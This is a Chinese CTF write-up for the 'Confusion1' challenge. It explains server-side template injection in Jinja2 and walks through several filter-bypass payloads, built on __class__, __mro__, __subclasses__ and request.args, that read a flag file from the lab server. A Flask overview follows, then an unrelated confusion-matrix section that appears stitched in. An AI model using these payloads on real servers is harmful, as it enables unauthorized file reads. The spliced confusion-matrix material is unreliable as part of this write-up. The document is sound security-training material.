3.攻防世界 Confusion1(服务器模板注入SSTI)

题目描述如下

进入题目页面如下

图片是蟒蛇、大象?python、php?

猜测需要代码审计

点击

F12查看源码,有所提示flag

但是也没有其他信息了

猜测本题存在SSTI(服务器模板注入)漏洞,为验证,构造payload

/login.php/{ {1+2}}

页面返回3,输入的1+2执行了

所以服务器也执行了{ {}}里的内容,故存在SSTI漏洞


SSTI(服务器模板注入)漏洞

基本概念

在 Web 应用开发中,为实现动态页面的生成,常常会使用模板引擎。模板引擎将模板文件和动态数据相结合,生成最终的 HTML 页面返回给用户。而当应用程序在处理用户输入时,未对其进行严格的过滤和验证,直接将用户输入嵌入到模板中进行渲染,就可能导致服务器模板注入漏洞

产生原因

在接收用户输入时,没有对输入内容进行严格的检查和过滤,直接将其传递给模板引擎进行处理。在一个使用 Flask 框架的应用中,直接将用户输入的参数拼接到模板字符串中,没有做任何过滤,就可能引发 SSTI 漏洞

模板引擎的配置不当也可能导致漏洞。有些模板引擎在默认情况下可能允许执行某些危险的操作

攻击原理

通过构造特殊的输入,让模板引擎将其解析为恶意的模板指令并执行。不同的模板引擎有不同的语法,这就需要了解目标应用所使用的模板引擎,然后使用相应的语法进行攻击。

检测方法

手动测试:通过构造一些简单的测试用例,如数学表达式({ { 1+1 }})、函数调用等,观察页面的响应。如果页面返回了表达式的计算结果,那么很可能存在 SSTI 漏洞。

工具:使用一些安全测试工具,如 Burp Suite、Nmap 等,这些工具可以帮助快速发现潜在的 SSTI 漏洞。在 Burp Suite 的 Intruder 模块中,可以设置不同的有效负载对目标应用进行测试。


测试是Jinja2模板

Jinja2 是 Python 中常用的模板引擎

原理

Jinja2 允许在模板中使用 Python 表达式,我们可以利用其内置的对象和函数来实现文件读取

读取文件:使用 Python 的 open 函数来读取文件,构造payload如下

http://61.147.171.105:56370/login.php/{
  
  { open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read() }}

传参,报错了,看来是有过滤

再次构造

利用 getattr 函数

getattr 函数可以动态获取对象的属性或方法

http://61.147.171.105:56370/login.php/{
  
  { ''.__class__.__mro__[2].__subclasses__()[40]( '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' ).read() }}

也过滤了qyq

试试逐字符拼接函数名

http://61.147.171.105:56370/login.php/{
  
  { ''.__class__.__mro__[2].__subclasses__()[40]( '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' )[ 'r' + 'e' + 'a' + 'd' ]() }}

还是不行,再试试request函数

构造payload

http://61.147.171.105:56370/login.php/{
  
  {''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

以一个空字符串 '' 作为起始对象,因为在 Python 中,所有对象都继承自 object 类,我们可以通过空字符串对象逐步向上查找类层次结构

''.__class__:获取空字符串对象的类,即 str 类。

__mro__:是 Python 类的一个属性,它表示方法解析顺序(Method Resolution Order),是一个包含类层次结构的元组。

[2]:通过索引 2 可以从 str 类的 __mro__ 元组中获取到 object 类。在 Python 中,object 类是所有类的基类,我们可以通过它获取所有子类列表

__subclasses__() 是 Python 类的一个方法,它会返回该类的所有直接子类组成的列表

索引 40 对应的类通常是 _io.TextIOWrapper 类(在 Python 3 中)或者 file 类(在 Python 2 中),这个类可以用于文件的读写操作

调用 _io.TextIOWrapper 类的构造函数,传入要读取的文件路径,从而打开指定文件

.read():调用打开文件对象的 read 方法,读取文件的全部内容

终于得到flag


Flask 框架

Flask 是一个轻量级的 Python Web 框架,也被称为 “微框架”,它为开发者提供了创建 Web 应用的基础工具和功能,易于上手和扩展

特点

  1. 轻量级:Flask 核心简单且小巧,仅包含了 Web 应用的基本功能,如路由、请求处理、响应返回等,不强制开发者使用特定的数据库、模板引擎或其他组件,给予开发者很大的自由度来选择合适的工具和库。
  2. 可扩展性强:由于其轻量级的特性,Flask 很容易与其他第三方库集成,如数据库操作库(SQLAlchemy、Peewee 等)、表单处理库(WTForms)、认证库(Flask - Login)等,开发者可以根据项目需求灵活扩展功能。
  3. 易于上手:Flask 的文档清晰简洁,代码结构简单易懂,对于初学者来说,能够快速理解和掌握其基本概念和使用方法,快速搭建起一个简单的 Web 应用。
  4. 基于 Werkzeug 和 Jinja2:Flask 基于 Werkzeug WSGI 工具包和 Jinja2 模板引擎构建。Werkzeug 提供了请求和响应处理、路由匹配等功能,Jinja2 则用于模板渲染,方便开发者生成动态 HTML 页面。

主要组件

路由系统:Flask 使用装饰器来定义路由,允许开发者将 URL 路径映射到对应的视图函数。

请求和响应:Flask 提供了request对象来处理客户端的请求信息,如获取请求参数、请求方法等;使用Response对象来返回响应给客户端。

模板引擎:Flask 默认使用 Jinja2 模板引擎,允许开发者将动态数据与 HTML 模板结合生成动态页面。

应用场景

  1. 快速原型开发:由于 Flask 易于上手和快速搭建,适合在项目初期进行快速原型开发,验证项目的可行性和功能需求。
  2. 小型 Web 应用:对于一些功能简单、规模较小的 Web 应用,如个人博客、小型企业网站等,Flask 的轻量级特性可以满足需求,并且易于维护。
  3. API 开发:Flask 可以方便地创建 RESTful API,结合 JSON 数据格式,为前端应用或其他服务提供数据接口
### Confusion Function 的定义与实现 Confusion 函数通常指的是混淆矩阵(Confusion Matrix),它是机器学习分类模型评估中的一个重要工具。它通过展示预测值和真实值之间的关系,帮助分析模型性能。 #### 混淆矩阵的基本结构 混淆矩阵是一个二维数组,用于总结分类模型的表现。其主要组成部分包括: - **True Positives (TP)**: 预测为正类且实际也为正类的数量。 - **False Positives (FP)**: 预测为正类但实际为负类的数量。 - **True Negatives (TN)**: 预测为负类且实际也为负类的数量。 - **False Negatives (FN)**: 预测为负类但实际为正类的数量。 这些指标可以进一步计算其他衍生指标,如精度(Precision)、召回率(Recall)、F1分数等[^3]。 #### Python 实现混淆矩阵 以下是基于 `numpy` 和 `sklearn.metrics.confusion_matrix` 的两种方法: ##### 方法一:手动实现 ```python import numpy as np def confusion_matrix_manual(y_true, y_pred): labels = list(set(y_true).union(set(y_pred))) matrix = np.zeros((len(labels), len(labels)), dtype=int) label_to_index = {label: i for i, label in enumerate(labels)} for t, p in zip(y_true, y_pred): row_idx = label_to_index.get(t) col_idx = label_to_index.get(p) if row_idx is not None and col_idx is not None: matrix[row_idx][col_idx] += 1 return matrix, labels y_true = [2, 0, 2, 2, 0, 1] y_pred = [0, 0, 2, 2, 0, 2] matrix, labels = confusion_matrix_manual(y_true, y_pred) print(f"Labels: {labels}") print(matrix) ``` ##### 方法二:使用 sklearn 库 ```python from sklearn.metrics import confusion_matrix y_true = [2, 0, 2, 2, 0, 1] y_pred = [0, 0, 2, 2, 0, 2] cm = confusion_matrix(y_true, y_pred) print(cm) ``` 这两种方法都可以生成混淆矩阵,其中第二种更为简洁高效[^4]。 #### 使用场景 混淆矩阵广泛应用于监督学习中的多类别分类问题。通过对 TP、FP、TN 和 FN 进行统计分析,可以帮助开发者调整模型参数或改进特征工程策略。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值